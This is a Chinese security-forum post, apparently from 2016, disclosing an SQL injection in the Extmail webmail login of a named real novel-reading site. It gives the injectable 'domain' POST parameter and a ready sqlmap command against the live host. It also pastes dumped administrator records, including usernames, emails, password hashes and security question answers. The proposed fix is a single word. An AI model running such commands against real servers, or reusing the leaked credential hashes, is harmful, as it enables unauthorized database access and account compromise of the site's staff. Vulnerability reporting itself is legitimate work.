HanDs
NO.2

[7月漏洞公开] 小说阅读网Extmail邮件服务器存在SQL注入漏洞 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

小说阅读网Extmail邮件服务器存在SQL注入漏洞

详细说明:

# 服务器

https://mail.readnovel.com

# SQL注入地址

https://mail.readnovel.com/extmail/cgi/index.cgi

# POST,注入参数domain

code 区域
username=test123&nosameip=on&domain=test123&password=test123&bakecookie=test123



漏洞证明:

code 区域
python sqlmap.py -u "https://mail.readnovel.com/extmail/cgi/index.cgi" --data "username=test123&nosameip=on&domain=test123&password=test123&bakecookie=test123" -p domain



code 区域
available databases [2]:
[*] extmail
[*] information_schema



管理员表数据读取

code 区域
web application technology: Apache
back-end DBMS: MySQL 5.0
[23:15:38] [INFO] fetching columns for table 'manager' in database 'extmail'
[23:15:38] [INFO] the SQL query used returns 11 entries
[23:15:38] [INFO] resumed: username
[23:15:38] [INFO] resumed: varchar(255)
[23:15:38] [INFO] resumed: password
[23:15:38] [INFO] resumed: varchar(255)
[23:15:38] [INFO] resumed: type
[23:15:38] [INFO] resumed: varchar(64)
[23:15:38] [INFO] resumed: uid
[23:15:38] [INFO] resumed: varchar(255)
[23:15:38] [INFO] resumed: name
[23:15:38] [INFO] resumed: varchar(255)
[23:15:38] [INFO] resumed: question
[23:15:38] [INFO] resumed: text
[23:15:38] [INFO] resumed: answer
[23:15:38] [INFO] resumed: text
[23:15:38] [INFO] resumed: disablepwdchange
[23:15:38] [INFO] resumed: smallint(1)
[23:15:38] [INFO] resumed: createdate
[23:15:38] [INFO] resumed: datetime
[23:15:38] [INFO] resumed: expiredate
[23:15:38] [INFO] resumed: date
[23:15:38] [INFO] resumed: active
[23:15:38] [INFO] resumed: tinyint(1)
[23:15:38] [INFO] fetching entries for table 'manager' in database 'extmail'
[23:15:38] [INFO] the SQL query used returns 3 entries
[23:15:38] [INFO] resumed: 1
[23:15:38] [INFO] resumed:
[23:15:38] [INFO] resumed: 2012-12-03 14:27:45
[23:15:38] [INFO] resumed: 0
[23:15:38] [INFO] resumed: 0000-00-00
[23:15:38] [INFO] resumed:
[23:15:38] [INFO] resumed: $1$B/zOh4d/$KW8170lIF941W.NTm/JTa/
[23:15:38] [INFO] resumed:
[23:15:38] [INFO] resumed: postmaster
[23:15:38] [INFO] resumed:
[23:15:38] [INFO] resumed: [email protected]
[23:15:38] [INFO] resumed: 1
[23:15:38] [INFO] resumed: suekiya
[23:15:38] [INFO] resumed: 2012-03-29 10:57:57
[23:15:38] [INFO] resumed: 0
[23:15:38] [INFO] resumed: 0000-00-00
[23:15:38] [INFO] resumed:
[23:15:38] [INFO] resumed: *F324523DCFE8D4E4F4F63ED0F9461E36BDE4FDC7
[23:15:38] [INFO] resumed: ć\x88\x91ç\x9a\x84č\x8bąć\x96\x87ĺ\x90\x8d
[23:15:38] [INFO] resumed: postmaster
[23:15:38] [INFO] resumed:
[23:15:38] [INFO] resumed: [email protected]
[23:15:38] [INFO] resumed: 1
[23:15:38] [INFO] resumed: my answer
[23:15:38] [INFO] resumed: 2007-02-14 15:10:04
[23:15:38] [INFO] resumed: 1
[23:15:38] [INFO] resumed: 0000-00-00
[23:15:38] [INFO] resumed: Super User
[23:15:38] [INFO] resumed: $1$Hat0Dc8B$K1oeust8C5jtVqkgGtKLl.
[23:15:38] [INFO] resumed: my question
[23:15:38] [INFO] resumed: admin
[23:15:38] [INFO] resumed: root
[23:15:38] [INFO] resumed: [email protected]

修复方案:

# 补丁


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
小说 阅读 E xt ma il
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组